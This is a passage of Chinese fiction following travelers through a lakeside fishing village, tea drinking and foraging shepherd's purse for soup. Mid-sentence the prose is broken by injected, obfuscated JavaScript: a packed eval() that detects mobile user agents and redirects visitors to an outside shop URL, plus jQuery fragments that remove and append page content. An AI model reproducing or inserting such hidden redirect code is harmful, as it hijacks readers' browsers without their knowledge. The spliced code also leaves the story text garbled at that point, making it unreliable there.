“嗯。”艾莉西亚低头喝了一口。茶汤在嘴里停了一会儿才咽下去。“以前觉得师母说的都是对的。她喝春茶，我也喝春茶。她说明前的鲜，我也跟着说明前的鲜。其实我喝不出明前和雨前的区别。”她又喝了一口。“但这杯秋茶我喝得出好。”
格蕾塔把自己的茶碗端起来喝了一口。“主教也不喝秋茶。她说秋茶是给过路的人喝的。过路的人走了很远的路，身体里积了风和尘。春茶太嫩，化不开那些东西。秋茶老，筋骨硬，能把风和尘从身体里带出去。”她把茶碗放在膝盖上。“她说不喝，但每年秋天都做秋茶。做好了存在陶罐里，有过路的人来就泡给人家喝。我问她，你不喝为什么还要做。她说，我不走远路，但有人走。”
桥洞下的溪水声在茶碗之间流淌。流栖灯喝完碗里的茶，把碗放在石头上。她从口袋里拿出白麻布，在竹林石桥这一页画了四个人坐在桥洞下喝茶。
下午官道从竹林里穿出来，眼前忽然开阔了。是一座湖。湖不大，被低矮的山丘环抱着，湖面在灰白色的天光下是银灰色的。湖心有座小岛，岛上长着几棵水杉。水杉的叶子在初冬变成了锈红色，从银灰色的湖面上突出来。湖边有栈桥，木桩撑着的，伸-进湖水里。栈桥尽头系着一条小船，船是木头的，船身漆着桐油，在午后的光里泛着琥珀色。船上没有人。
流栖灯下了马走到栈桥尽头蹲下来。湖水清得能看见湖底的水草，水草是深绿色的，在水流里慢慢摆着。鱼在水草之间游进游出。她把手伸-进湖水，湖水比溪水暖，被午后的太阳晒过，温温的。
“这里没有人。船是谁的。”她问。
格蕾塔走到她旁边。“湖边住着人。船是她们的。不用的时候就系在这里，谁要用就解开。用完了系回去。主教说，水边的人，船就是她们的脚。脚不会藏起来不给人用。”
流栖灯看着那条空船。船身漆着桐油，在午后的光里泛着琥珀色。船桨收在船舱里，桨叶是木头的，被水泡成了深褐色。系船的缆绳是麻绳，绳头系在栈桥的木桩上，系的是一个活结——一拉就开的那种。
她从口袋里拿出白麻布，在湖边这一页画了栈桥，空船，湖心的水杉。
傍晚她们在湖边的渔村过夜。村子叫杉湾，因湖心岛上那几棵水杉得名。村里人打鱼为生，屋檐下挂着渔网，院子里晒着鱼干。鱼干是湖里的白鱼剖开了用盐腌过，挂在竹竿上晒。鱼身被初冬的太阳晒成了半透明的琥珀色，能看见鱼肉里细密的肌理。
村长是个驼背的老妇人，和湿地渔村的村长一样，背弯得像一张弓，脸几乎朝着地面。她把四个人安排在水边的空屋里。屋子一半悬在水面上用木柱撑着，地板之间有缝隙，缝隙下面能看见湖水。湖水在木板下面轻轻晃着，发出咕嘟咕嘟的声音。和湿地渔村一模一样的声音。
晚饭是村长端来的——清蒸白鱼，白灼湖虾，米饭。白鱼是今天下午从湖里打的，蒸的时候只放了姜丝和盐。鱼肉嫩得筷子一碰就散，放进嘴里鲜得舌尖发麻。湖虾是刚从湖里捞的，在开水里一烫就捞起来，壳还是青灰色的，剥开来虾肉是半透明的，脆，甜。
流栖灯吃了三条白鱼，把鱼头都嘬干净了。她发现格蕾塔吃得很少。
“在想什么。”
格蕾塔把筷子放在碗上。“湿地渔村的村长也驼着背。她的脸几乎朝着地面，声音从驼背的阴影里传上来。她说，离开了会想。”她把手按在地板上。木板凉，湖水的凉气从木板缝隙里渗上来。“主教说，水边的人，船是她们的脚。但她没有告诉我，离开水边的人，脚会疼。”
流栖灯把手也按在地板上，和格蕾塔的手隔着不远。湖水在她们手掌下面的缝隙里咕嘟咕嘟响着。
“湿地渔村那个村长，她送我们走的时候往我们手里塞了鱼干。她说，路上嚼。咸的，下饭。”流栖灯把白麻布拿出来，翻到湿地渔村那一页。悬在水面上的木屋，屋檐下的渔网，网眼上干了的鱼鳞。驼背村长的背影。“她在这里。”
格蕾塔看着布上那个驼背的人形。炭笔画的，几笔勾成，背弯得像一张弓。她看了很久，然后把手指放在那个人形上轻轻碰了一下。“嗯。她在这里。”
夜里流栖灯躺在悬空屋子的地板上。地板缝下面的湖水在轻轻晃着，咕嘟咕嘟。屋顶是芦苇编的，风从芦苇缝隙里钻进来，带着湖水的腥气和水草的清香。远处有水鸟在叫，叫一声歇一会儿，再叫一声。和湿地渔村一模一样。
她侧躺着，从地板缝往下看。黑黝黝的湖水在缝隙下面晃着。她把白麻布从枕头底下摸出来，翻到杉湾这一页。画了悬空木屋，画了栈桥和空船，画了驼背村长的背影。
第二天早晨离开杉湾的时候，村长往她们手里一人塞了一包白鱼干。鱼干晒得透，对着光看是半透明的琥珀色。她驼着背，脸几乎朝着地面，声音从驼背的阴影里传上来。“路上嚼。咸的，下饭。”
格蕾塔接过鱼干。村长的脸在驼背的阴影里看不清表情，但手是暖的。她把鱼干放进鞍袋里，和湿地渔村的鱼干放在一起。
上马之后格蕾塔回头看了一眼杉湾。悬在水面上的木屋在晨光里排成一排，屋檐下的渔网在风里轻轻晃着。栈桥尽头那条空船还系在那里，活结。她转回头看着前面的路。红栎笼头上的铜铃轻轻响了一声。
阿灰的蹄声在官道上响起来。
从杉湾往南，官道穿过大片大片的休耕田。初冬的田地是空的，麦茬还留在地里。有些田里已经翻了土，赭红色的新土从麦茬下面翻上来。翻过的田里落着成群的乌鸦，黑羽在翻土里啄食遗留的麦粒和土里的虫子。马经过的时候乌鸦呼啦啦飞起来，在天上绕一圈，等人走远了又落回去。
流栖灯发现田埂上长着荠菜。荠菜是野生的，贴在地面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627887|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上，叶子是灰绿色的羽状分-裂，中间抽出一根细茎，茎顶上开着极小的白花。白花小得几乎看不见，但成片开着的时候，田埂上像落了一层薄薄的霜。她勒住穗子翻身下马，蹲在田埂边挖荠菜。没有工具，用手指。荠菜的根扎得不深，手指顺着根往下探，抠住根颈一拔就出来了。根是白的，细长，带着泥土的腥甜。
格蕾塔也下了马蹲下来一起挖。她在南部的时候，每年冬天主教都带着她们下山挖荠菜。南部的冬天不冷，荠菜从田埂上、河岸边、桑树根下钻出来。主教说，荠菜是地母给冬天的人的礼物。别的野菜都是春天采，只有荠菜是冬天最肥。地母知道人冬天缺菜。
两个人蹲在田埂上挖了小半个时辰，挖了一-大捧。荠菜的根上还带着泥土，白生生的。流栖灯把荠菜装进布袋里，布袋上沾了泥土和荠菜叶子的汁水，绿绿的。
中午她们在休耕田边的一间看田人窝棚里做饭。窝棚是土墙茅顶，里面有一个泥砌的灶台，灶台上坐着一口豁了边的铁锅。格蕾塔生了火，把荠菜洗干净切碎了，和桑落村村长给的腊鱼一起煮汤。没有油，腊鱼自己的油脂就够了。水开了，荠菜的清香和腊鱼的咸香从锅沿升起来混在一起。
汤煮好了，四个人端着碗蹲在窝棚门口喝。荠菜煮透了是软的，但菜心的部分还留着一点脆。腊鱼的咸把荠菜的鲜托住了，荠菜的清又把腊鱼的腻化开了。流栖灯喝了一口汤，汤里有一片腊鱼的鱼皮，透明的，胶质的，嚼在嘴里咯吱咯吱的。
“这是地母的礼物。”她把鱼皮咽下去。
格蕾塔端着碗，看着碗里碧绿的荠菜和琥珀色的鱼汤。“主教说，荠菜从不长在肥地里。肥地里的荠菜味道淡。越贫的地，荠菜越香。因为它要把根扎得深才能吸到养分。扎得深了，味道就浓了。”
艾莉西亚喝着汤，从碗里捞起一片荠菜叶看了半天。“伯爵领的田埂上也长荠菜。但没有人挖来吃。说那是野菜，是穷人吃的。”她把荠菜叶放进嘴里嚼了。“穷人吃的东西，原来是这个味道。”
流栖灯喝完碗里的汤，把碗底的荠菜碎和腊鱼渣倒进嘴里。“什么味道。”
“说不上来。”艾莉西亚把碗放下。“就是——活着的味道。”
流栖灯从口袋里拿出白麻布，在看田窝棚这一页画了灶台上的豁边铁锅，锅里煮着荠菜腊鱼汤。
吃完饭她们把窝棚收拾干净，灶台擦过，铁锅洗净扣回灶上。剩下的荠菜用湿布包好放进鞍袋里，留着晚上煮。
继续往南。官道两边的休耕田慢慢变成了菜地。菜地里种着越冬的青菜——青菜，白菜，萝卜，大蒜。青菜是矮脚的，叶片肥厚，墨绿色，贴着地皮长。白菜已经卷了心，外面的大叶包着里面的嫩叶。萝卜的缨子从土里冒出来，绿绿的，下面藏着白生生的根。大蒜一行一行整整齐齐地排着，蒜叶是深绿的，扁扁的，在风里摇着。